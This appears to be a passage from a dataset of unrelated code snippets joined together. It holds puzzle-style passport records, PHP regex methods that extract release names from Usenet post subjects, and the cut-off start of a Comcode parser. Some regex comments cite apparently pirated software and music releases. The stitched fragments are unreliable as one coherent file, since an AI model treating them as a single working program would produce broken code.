byr:1924\niyr:2011 eyr:2029 hcl:#efcc98\npid:215962187\n\niyr:2011 hcl:#866857\ncid:164\nhgt:184cm\necl:gry eyr:2023 byr:1959 pid:204093118\n\nhgt:172cm ecl:hzl hcl:#3f2f3a pid:623470811 byr:1938 iyr:2013 eyr:2022\n\nhcl:#b6652a\niyr:2019 hgt:152in\necl:oth\npid:189008850 byr:2006\n\necl:oth hcl:#602927\npid:049746898 byr:1924 hgt:150cm eyr:2026\niyr:2014\n\necl:oth\neyr:2028 byr:2018 hcl:#733820\npid:8676207205 iyr:2018\nhgt:190cm\n\neyr:2023 cid:308 hgt:170cm ecl:oth iyr:2014 hcl:#18171d pid:874405208 byr:1936\n\neyr:2021 ecl:hzl\npid:423603306\nhcl:#c0946f cid:147\nbyr:1988 iyr:2016 hgt:164cm\n\nhgt:176cm iyr:2010\nhcl:#6b5442 cid:280 byr:1988 ecl:hzl pid:967151288 eyr:2028\n\ncid:299 hgt:163cm ecl:gry\npid:561439154 eyr:2023\nhcl:#cfa07d iyr:2019 byr:1959\n\npid:635547007\necl:blu\nbyr:1996 hcl:#7d3b0c cid:280 eyr:2023\nhgt:170cm iyr:2017\n\nhcl:#888785 iyr:2014\necl:brn\nhgt:190cm byr:1941 eyr:2021\n\nhcl:#c0946f cid:199 hgt:162cm ecl:amb pid:130696599 eyr:2022 iyr:2018 byr:1948\n\ncid:314 hcl:#a4fc09 ecl:hzl iyr:2019\npid:886849824 eyr:2026 byr:1933 hgt:178cm\n\nbyr:1996 iyr:2016 eyr:2030 hgt:169cm\npid:119207760\nhcl:#ef542c\necl:brn\n\niyr:2030 eyr:2039 hcl:#c0946f pid:#7336a0 hgt:182cm cid:347\necl:#c81361 byr:2003\n\npid:727812879 iyr:2013 eyr:2027 hgt:172cm\nhcl:#7d3b0c ecl:gry byr:1966\n\nhcl:#341e13\niyr:2016 pid:744997238\ncid:322\nbyr:1973\necl:hzl eyr:2028 hgt:190cm\n\nhgt:171cm eyr:2026\niyr:2014 ecl:oth\npid:074049558 hcl:#04083f byr:1923\n\npid:973713235\neyr:2021\necl:brn\nbyr:1922 hcl:#fffffd iyr:2012\nhgt:178cm\n\necl:#10165d\ncid:201 eyr:2026 pid:#ceefa8 byr:2020\nhgt:164cm iyr:2011\nhcl:9fccf7\n\necl:blu\nhgt:165cm iyr:2012 eyr:2025 pid:775787557\nbyr:1952 hcl:#623a2f\n\npid:6186829005 ecl:lzr hcl:z hgt:69in iyr:2021 byr:2018 eyr:1974\n\npid:824641755 eyr:2028 byr:1950 hgt:184cm\nhcl:#c0946f\niyr:2014\n\nhcl:#7d3b0c cid:84 hgt:187cm iyr:2015\npid:895876610\nbyr:1988 eyr:2023\n\nhcl:#fffffd\nhgt:157cm iyr:2020 eyr:2030 ecl:grn pid:486236241\n\niyr:2010\neyr:2029\nhgt:74in ecl:hzl byr:1926 pid:348573885 hcl:#9d1214\n\nhgt:171cm ecl:oth\neyr:2022 pid:148728436 byr:1993 hcl:#a97842 iyr:2013\n\niyr:2019\nhgt:151cm\neyr:2020 pid:319882814 ecl:grn byr:1966 cid:256 hcl:#3107b3\n\nhgt:184cm ecl:grn\nbyr:1947\neyr:2025 iyr:2015 pid:827962962 cid:62 hcl:#f3a364\n\niyr:2013\nhcl:#fffffd pid:215012801 ecl:amb eyr:2024\nhgt:154cm\nbyr:1973\n\necl:hzl hgt:152cm\nhcl:#623a2f\nbyr:1944 eyr:2022 pid:295632731\ncid:243 iyr:2019\n\necl:brn\niyr:2011 pid:089250747 byr:1984 hcl:73e739 cid:253 hgt:161cm eyr:2021\n\nhcl:#18171d byr:1944 pid:732054667 eyr:2021\necl:oth hgt:173cm\n\necl:gry pid:445116331\nhcl:#a97842\nhgt:187cm eyr:2026 iyr:2020 byr:1992\n\nhcl:80c091 pid:745555899\niyr:2021\nhgt:170cm\nbyr:1990\n\npid:058987865 byr:1927 cid:209\nhcl:#65ccf6 eyr:2025\necl:brn iyr:2012 hgt:164cm\n\nhgt:67cm\nbyr:2026 hcl:f8e749 iyr:2023 eyr:1921 ecl:lzr\n\neyr:2028 iyr:2013 pid:103268377 hgt:179cm byr:1922\necl:hzl\nhcl:#7d3b0c\n\nbyr:1923 ecl:gry hgt:167cm hcl:#7fc8ee iyr:2015 pid:427963077 eyr:2024\n\nbyr:1927 ecl:grn pid:741328150\neyr:2029 hcl:#733820\niyr:2015 hgt:157cm\n\nhgt:70cm hcl:e76970 iyr:1945 cid:186\nbyr:1921 eyr:2029\npid:823622634\necl:zzz\n\nhgt:61cm cid:87 hcl:d5e5ff\neyr:2024 ecl:dne pid:182634269\niyr:2029\n\nhcl:#623a2f eyr:2020 byr:1936 ecl:gry pid:236984204\niyr:2011 hgt:156cm\n\npid:872645776\nbyr:2023\ncid:220 ecl:blu hgt:172cm eyr:2033\niyr:2010 hcl:ff82f9\n\npid:774489073 iyr:2013 byr:1922 ecl:brn eyr:2025 hcl:#18171d hgt:163cm\n\neyr:2024 hgt:65in byr:1962 iyr:2019\npid:112233558 hcl:#888785 ecl:grn\n\nhgt:172cm eyr:2022\nhcl:#18171d ecl:blu\npid:609008608 iyr:2013\ncid:244 byr:1980\n\ncid:124 hgt:175in eyr:2025\nhcl:674e80 pid:099875931 iyr:1956\n\nbyr:1926 hgt:188cm\necl:hzl eyr:2021\niyr:2018\nhcl:#866857 pid:557800355\n\nbyr:1939 pid:200409089\neyr:2026 hgt:164cm\necl:grn iyr:2013\nhcl:#733820\n\ncid:73 hgt:169cm iyr:2016 byr:1976 ecl:gry eyr:2024\npid:043453462\n\npid:609818712 hcl:#733820 byr:1958\neyr:2025 hgt:187cm iyr:2017 ecl:gry\n\nhgt:66in pid:618590610 iyr:2013 byr:1938 hcl:#d1bda9\neyr:2022\necl:grn cid:69\n\nhgt:156cm pid:755742405\nbyr:1929 hcl:#6b5442 eyr:2024\niyr:2018\necl:gry\ncid:105\n\neyr:2030 pid:77022842\nhgt:160cm byr:1989\niyr:2011 hcl:#7d3b0c ecl:blu\n\niyr:2015\nhcl:#341e13 byr:1968 pid:434159843\necl:amb hgt:150cm\neyr:2030\n\nhcl:z eyr:1993 pid:#b3a5a6 iyr:1947 hgt:176in\necl:#78876d\n\ncid:249 hcl:#cfa07d\nhgt:180cm ecl:gry eyr:2026 byr:1965\npid:048327438 iyr:2010\n\npid:136468890 ecl:gry\nbyr:1940\nhcl:#fffffd hgt:185cm iyr:2016 eyr:2021\n\nhcl:#b6652a hgt:180in byr:1976 eyr:2022 pid:156cm ecl:#737836\niyr:2013\n\necl:amb iyr:2016 hgt:162cm byr:1955 pid:193cm eyr:2028 cid:346\nhcl:#733820\n\niyr:2010 byr:1932 eyr:2025 ecl:grn\npid:595837820\nhcl:#341e13\nhgt:166cm cid:224\n\npid:481646831\neyr:2029\nhcl:#623a2f cid:319 iyr:2016\necl:brn hgt:160cm byr:1944\n\necl:zzz pid:428329840 cid:238 iyr:2022 hgt:76cm\nhcl:#a97842\nbyr:2024 eyr:2028\n\niyr:2014 hgt:170cm\nbyr:1963 hcl:#623a2f\neyr:2026 pid:225910806 ecl:gry\n\necl:grn iyr:2010 hgt:193cm byr:1928 eyr:2028 pid:343022641 hcl:#733820\n\neyr:2023 ecl:grn\nbyr:1950 iyr:2012 hcl:#866857 pid:400725165\nhgt:193cm\n\ncid:195 iyr:2014 ecl:oth eyr:2027 byr:1966\nhgt:177cm hcl:#18171d pid:913894485\n\niyr:2015 hgt:154cm\ncid:206\npid:134599284 hcl:#602927\neyr:2023 ecl:brn\nbyr:1983\n\necl:#2d0e7a pid:#f34625 eyr:1942 iyr:2027 byr:2013 hcl:z hgt:162cm\n\nhgt:189cm byr:1965 iyr:2011\ncid:178 ecl:hzl\nhcl:#b6652a eyr:2026 pid:683560227\n\neyr:2030 pid:047446524 ecl:grn hgt:167cm iyr:2017 hcl:#602927\nbyr:1920\n\ncid:86\niyr:1920 hgt:193cm\neyr:2027 pid:401913877 ecl:hzl\nhcl:#888785 byr:1953\n\nbyr:1991\necl:grn\niyr:2016\nhcl:#5e1ef2 hgt:186cm\npid:076499738\neyr:2025\n\neyr:2030 hcl:#18171d pid:750694893\nhgt:157cm iyr:2020 cid:338\nbyr:1956 ecl:gry\n\niyr:2027 pid:#37f002 hgt:164cm ecl:#80df11\nhcl:#aeacee cid:320\neyr:2039 byr:1956\n\niyr:2014 hcl:#733820 ecl:grn\nbyr:1960\neyr:2025 pid:667089568\n\nhgt:163cm\nbyr:1962 cid:108 ecl:gry hcl:#733820 iyr:2012\neyr:2029 pid:763684725\n\nbyr:1984 hcl:#888785 hgt:159cm iyr:2012 ecl:gry\neyr:2024 cid:236 pid:174711749\n\necl:gry pid:044931271\nhcl:#b6652a eyr:2029 iyr:2013 byr:1985\n\nbyr:1973 iyr:2018 hcl:#a97842 pid:937214113 ecl:blu\ncid:247 hgt:186cm eyr:2023\n\ncid:108 pid:231782961 iyr:2017\neyr:2034 hgt:170cm byr:2025 hcl:#18171d ecl:utc\n\npid:298274796 byr:1928 hcl:#a97842 hgt:188cm iyr:2011 ecl:gry eyr:2028\n\nhgt:65cm iyr:1943 eyr:2025\nhcl:z\npid:65702335 ecl:#bb54e6 byr:2010\n\npid:499116613 eyr:2024\necl:gry hcl:#cfa07d hgt:193cm byr:1999\ncid:278 iyr:2015\n\nhcl:#6b5442 eyr:2027 hgt:175cm byr:1988\necl:brn pid:410075320 iyr:2010\n\npid:269678991 ecl:oth iyr:2013\nhcl:#602927 byr:1991 eyr:2023\n\necl:oth\npid:144593265 hcl:#fffffd\neyr:2020 iyr:2018\nbyr:1975 hgt:160cm\ncid:304\n\niyr:2014 hcl:#ceb3a1 eyr:2029\nbyr:1951 pid:520804395 hgt:185cm ecl:oth\n\nhgt:159cm\npid:312887994\ncid:205\niyr:2016 ecl:hzl hcl:#866857 eyr:2029 byr:1944\n\niyr:2023 ecl:#54c85c byr:2030\neyr:1946 cid:190 pid:512417622\n\nbyr:1946 eyr:2023 hgt:163cm\nhcl:#2d4e9c ecl:brn pid:839043333 iyr:2014\n\niyr:2027 cid:122 hgt:187cm eyr:1975 ecl:grn byr:1920\nhcl:#c0946f\n\neyr:2029 hgt:189cm ecl:blu byr:1922 iyr:2016\npid:924104599\nhcl:#b6652a\n\nhgt:162cm\niyr:2016 byr:1921 hcl:#18171d eyr:1938 ecl:hzl\npid:682222023\n\ncid:118 pid:959515596\nbyr:1921 iyr:2010 eyr:2029 hcl:#7d3b0c ecl:oth hgt:158cm\n\necl:#8ac844 pid:162cm\nhcl:8f4d80 hgt:150in byr:2005\neyr:2008\niyr:2017 cid:174\n\nhcl:z byr:1936\npid:255481052 eyr:2021\niyr:2012 hgt:170cm cid:276 ecl:hzl\n\niyr:2013 byr:1935 hgt:179cm\neyr:2023 ecl:amb pid:073621563 hcl:#623a2f\n\nhcl:#18171d cid:230 byr:1989 ecl:oth eyr:2021 hgt:181cm pid:661224730\niyr:2019\n\npid:748039140 iyr:2020 eyr:2020 ecl:#6ebbc2 hcl:#fffffd hgt:171cm\nbyr:1995\n\necl:hzl pid:758144605 hcl:#ceb3a1 hgt:186cm\neyr:2028 iyr:2014\nbyr:1928\n\necl:hzl\nhgt:66in\nbyr:2000 iyr:2017 eyr:2020\npid:162973694 hcl:#a97842\n\niyr:2012 pid:749770535\nbyr:1969 cid:148\nhcl:#733820\nhgt:180cm eyr:2021 ecl:hzl\n\niyr:2010\nbyr:1958\nhgt:164cm\necl:blu hcl:#733820 pid:890634327 eyr:2024\n\nhgt:70in pid:218397894\niyr:2020 eyr:2025 ecl:gry hcl:#341e13\nbyr:1970\n\neyr:2020 pid:854208004 hgt:157cm hcl:#7d3b0c ecl:amb byr:1981 iyr:2020\n\nbyr:1924\ncid:321 eyr:2028 hcl:#cfa07d iyr:2010 ecl:amb pid:036669613 hgt:170cm\n\necl:#6649d4 pid:0026989865 cid:188\nhgt:152in\nbyr:1950 hcl:z eyr:1928 iyr:1963\n\nhcl:#ceb3a1 ecl:grn eyr:2028 pid:074363489 iyr:2010 hgt:173cm byr:1966\n\neyr:2030\npid:9731612333 ecl:#f8824c\niyr:2022 hgt:161in\nbyr:2023\ncid:316\nhcl:z\n\nhgt:175cm iyr:2016 eyr:2024 cid:244\nbyr:1952\npid:085432899\nhcl:#fffffd ecl:brn\n\necl:brn eyr:2026 iyr:2017 hgt:75in\npid:745302991 byr:1969 hcl:#7394c7';\n }", "public function _0daystuffz()\n\t{\n\t\tif (preg_match('/^([a-zA-Z0-9].+?) - \\[\\d+\\/\\d+\\] - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //rld-tcavu1 [5/6] - \"rld-tcavu1.rar\" yEnc\n\t\tif (preg_match('/^([a-zA-Z0-9].+?) \\[\\d+\\/\\d+\\] - \".+?\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //(DVD Shrink.ss) [1/1] - \"DVD Shrink.ss.rar\" yEnc\n\t\tif (preg_match('/^\\((.+?)\\) \\[\\d+(\\/\\d+] - \").+?\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //WinASO.Registry.Optimizer.4.8.0.0(1/4) - \"WinASO_RO_v4.8.0.rar\" yEnc\n\t\tif (preg_match('/^([a-zA-Z0-9].+?)\\(\\d+\\/\\d+\\) - \".+?\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function town_xxx()\n\t{\n\t\t//(3/9) - \"Microsoft Frontpage 2003 - 4 Town-Up from Kraenk.rar.par2\" - 181,98 MB - yEnc\n\t\tif (preg_match('/^[\\[(]\\d+\\/\\d+[\\])] - \"([A-Z0-9].{2,}?)' . $this->e0 .\n\t\t\t\t\t ' - \\d+[.,]\\d+ [kKmMgG][bB]( -)? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function mojo()\n\t{\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t ' - \\d+[,.]\\d+ [mMkKgG][bB] - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function sounds_mp3()\n\t{\n\t\tif (preg_match('/^\\(dream-of-usenet\\.info\\) - \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //http://dream-of-usenet.org empfehlen newsconnection.eu - [02/32] - \"Adam_Ant-Manners_and_Physique-(MCAD-6315)-CD-FLAC-1989-2Eleven.par2\" yEnc\n\t\tif (preg_match('/^http:\\/\\/dream-of-usenet\\.org .+? - \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //trtk09920 - [01/12] - \"Guido Negraszus - Night Cafe Iii (Freedom Travellers) (2012)(320).par2\" yEnc\n\t\tif (preg_match('/^trtk\\d+[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //>>> CREATIVE COMMONS NZB <<< \"dexter romweber duo-lookout\" - File 1 of 9: \"creative_commons_nzb_dexter_romweber_duo-lookout.rar\" yEnc\n\t\tif (preg_match('/^>>> CREATIVE COMMONS NZB <<< \"(.+?)\" - File \\d+ of \\d+: \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<<<usenet-space-cowboys.info>>> <<<Powered by https://secretusenet.com>< \"Justin_Bieber-Believe_Acoustic-2013-pLAN9_usenet-space-cowbys.info.rar\" >< 4/6 (78.65 MB) >< 60.84 MB > yEnc\n\t\tif (preg_match('/^.+?usenet-space.+?Powered by.+? \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 .\n\t\t\t\t\t '.+? \\d+\\/\\d+ \\(\\d+[.,]\\d+ [kKmMgG][bB]\\) .+? \\d+[.,]\\d+ [kKmMgG][bB] .+?yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"The Absence - Riders Of The Plague\" [00/14] - \"the_absence-riders_of_the_plague.nzb\" yEnc\n\t\tif (preg_match('/\"(.+)\"[-_\\s]{0,3}[\\(\\[]\\d+\\/(\\d+[\\)\\]])[-_\\s]{0,3}\".+(\\.part\\d*|\\.rar)?(\\.vol.+ \\(\\d+\\/\\d+\\) \"|\\.[A-Za-z0-9]{2,4}\").+?yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//( Albert Cummings Albums 6x By Dready Niek (1999-2012) ) ( ** By Dready Niek ** ) [11/20] - \"Albert Cummings Albums 6x By Dready Niek (1999-2012).part10.rar\" yEnc\n\t\t//( Fat Freddy's Drop - Blackbird (2013) -- By Dready Niek ) -- By Dready Niek ) [01/15] - \"Fat Freddy's Drop - Blackbird (2013) -- By Dready Niek.par2\" yEnc\n\t\tif (preg_match('/\\( (.+?)\\)[-_\\s]{0,3}( |\\().+\\)[-_\\s]{0,3}[\\(\\[]\\d+\\/(\\d+[\\)\\]])[-_\\s]{0,3}\".+(\\.part\\d*|\\.rar)?(\\.vol.+ \\(\\d+\\/\\d+\\) \"|\\.[A-Za-z0-9]{2,4}\").+?yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //( Addison_Road-Addison_Road-2008 ) [01/10] - \"01. Addison Road - This Could Be Our Day.mp3\" yEnc\n\t\tif (preg_match('/\\( (.+?) \\)[-_\\s]{0,3}[\\(\\[]\\d+\\/(\\d+[\\)\\]])[-_\\s]{0,3}\".+(\\.part\\d*|\\.rar)?(\\.vol.+ \\(\\d+\\/\\d+\\) \"|\\.[A-Za-z0-9]{2,4}\").+?yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(????) [0/8] - Crionics Post - Alice In Chains - Dirt REPOST\"Alice In Chains - Dirt.nzb\" yEnc\n\t\tif (preg_match('/^.+?\\[\\d+\\/(\\d+\\][-_\\s]{0,3}.+?)[-_\\s]{0,3}(\"|#34;)(.+?)(\\.part\\d*|\\.rar)?(\\.vol.+ \\(\\d+\\/\\d+\\) \"|\\.[A-Za-z0-9]{2,4}(\"|#34;))[-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[3];\n\t\t} //(????) [001/153] - \"C4 House Party Horse Meat Disco Set 6.nfo\" C4 House Party Horse Meat Disco Set 6 yEnc\n\t\tif (preg_match('/^\\(\\?+\\) \\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '.+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(????) [19/22] - C.K.N. Demo 85 \"19-rotten system.mp3\" yEnc\n\t\tif (preg_match('/^\\(\\?+\\) \\[\\d+\\/\\d+\\] - (.+)[-_\\s]{0,3}\".+?' . $this->e0 . '.+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(03/11) \"Europe - Discography (1983 - 2009) (320 kbps CBR) www.brothers-of-usenet.org - empfehlen - Newsconnection.par2\" yEnc\n\t\t//(03/11) \"Evanescence Diskographie (1998-2011) www.brothers-of-usenet.org - empfehlen - Newsconnection.par2\" yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)[-_\\s]{0,3}\"(.+?) {1,3}www\\.brothers-of-usenet\\.org - empfehlen - Newsconnection' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(107/123) - \"Mark.EG.M.Zone.Rave.Tape.Packs.Hard.Trance.1990s.vol006+04.PAR2\" - 11.39 GB yEnc\n\t\t//(12/16) \"Horrid Henry The Movie - Original Soundtrack.vol00+01.PAR2\" - 102.32 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[002/123] - \"Mark.EG.M.Zone.Rave.Tape.Packs.Hard.Trance.1990s.part001.rar\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //< usenetrevolution > <-> Partner of ssl-news.info <-> Anastacia.-.It's.a.Mans.World [04/15] - \"Anastacia.-.It's.a.Mans.World.part01.rar\" - 100,47 MB - yEnc\n\t\tif (preg_match('/^.+usenetrevolution.+Partner of ssl-news\\.info.+\\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<<<Old but Sold>>> <<< >< >< \"German Top 50 ODC - 12.08.2013.nfo\" >< 02/33 (541,61 MB) >< 10,93 kB > yEnc\n\t\tif (preg_match('/^.+Old but Sold.+>< \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . ' >< \\d+\\/\\d+ \\(\\d+[.,]\\d+ [kKmMgG][bB]\\).+ yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<<< <ghost-of-usenet.org> <\"MC Basstard Diskographie 16CDs 2000-2011 MP3 - Ghost.part08.rar\"> >www.SSL-News.info< - (10/43) - 1,69 GB yEnc\n\t\t//<<< <ghost-of-usenet.org> >\"UltraTraxx Rare Remixes - Vol 011 MP3 192kbps.par2\"> >www.SSL-News.info< - (1/9) - 120,82 MB yEnc\n\t\tif (preg_match('/^.+ghost-of-usenet.org[<>] [><]\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 .\n\t\t\t\t\t '> >www\\.SSL-News\\.info< - \\(\\d+\\/\\d+\\)[-_\\s]{0,3}\\d+[.,]\\d+ [kKmMgG][bB][-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //BY REQ:........! - \"Keith Whitley - All American Country - .par2\" [06/22] yEnc\n\t\tif (preg_match('/^BY REQ.+ - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t ' \\[\\d+\\/\\d+\\] yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Der etwas andere Mix - Wilde Herzenmix (auf wunsch) neu (by dem verrückten Lordi) (1/8) \"Der etwas andere Mix - Wilde Herzenmix.par2\" yEnc\n\t\tif (preg_match('/^Der etwas.+ \\(\\d+\\/\\d+\\) \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '.+yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //DJ Inferno Beatport Xtreme September 2011[63/66] - \"DJ Inferno Beatport Xtreme September 2011.vol073+55.PAR2\" upp o-o yEnc\n\t\t//Kastelruther Spatzen - Weihnachten Bei Uns Daheim (2011) (22/25) \"Kastelruther Spatzen - Weihnachten Bei Uns Daheim (2011).vol00+1.PAR2\" - 113,03 MB - Tapier 13.11.02 yEnc\n\t\tif (preg_match('/^.+[\\[\\(]\\d+\\/\\d+[\\)\\]][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '.+yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"8 Wenn ich einmal gross bin .mp3\" Koelschefetz postet.Die Filue -Immer Wigger yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 . '.+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Queens Of The Stone Age - Rated R (2000) (10th Anniversary Deluxe Edition 2010) [EAC/Lame V0] \"QU2 - Queens of the Stone Age - Rated R.M3u\" yEnc\n\t\tif (preg_match('/^.+\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 . '.+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //squeeze-east side story-nmr- [01/14] - 01-squeeze-in quintessence.mp3 yEnc\n\t\tif (preg_match('/^(.+?)- [\\[\\(]\\d+\\/\\d+[\\)\\]][-_\\s]{0,3}\\d\\d.+?([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4}) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "function init__comcode_text()\n{\n\tif (!defined('CCP_NO_MANS_LAND'))\n\t{\n\t\tdefine('CCP_NO_MANS_LAND',0);\n\t\tdefine('CCP_IN_TAG_NAME',1);\n\t\tdefine('CCP_STARTING_TAG',2);\n\t\tdefine('CCP_IN_TAG_BETWEEN_ATTRIBUTES',3);\n\t\tdefine('CCP_IN_TAG_ATTRIBUTE_NAME',4);\n\t\tdefine('CCP_IN_TAG_BETWEEN_ATTRIBUTE_NAME_VALUE_LEFT',5);\n\t\tdefine('CCP_IN_TAG_BETWEEN_ATTRIBUTE_NAME_VALUE_RIGHT',6);\n\t\tdefine('CCP_IN_TAG_ATTRIBUTE_VALUE',7);\n\t\tdefine('CCP_IN_TAG_ATTRIBUTE_VALUE_NO_QUOTE',8);\n\n\t\tdefine('MAX_COMCODE_TAG_LOOK_AHEAD_LENGTH',30);\n\t}\n\n\t/*\n\n\tNote: Certain tags are included for compatibility with bbcode only...\n\t sql\n\t codebox\n\t php\n\t color\n\t size\n\t right\n\t left\n\t center\n\t list\n\t * (this is a psuedo tag because it is actually exploded seperately -- because it is very non-standard)\n\t snapback\n\t topic\n\t post\n\t thread\n\t highlight\n\t flash\n\tSome of threse add features, but they don't really fit in IMHO.\n\n\tAlso for compatibility, tags are case-insensitive, email/url parameter and embed can be switched, and quotes can be missed out.\n\n\t*/\n\n\t// In theory, almost any tag is reversable. However these tags can be converted ROBUSTLY and hence the WYSIWYG editor can manipulate them as HTML rather than having to display as Comcode\n\t// If the tag is mapped to a string that provides a regexp to say when it is NOT reversible. 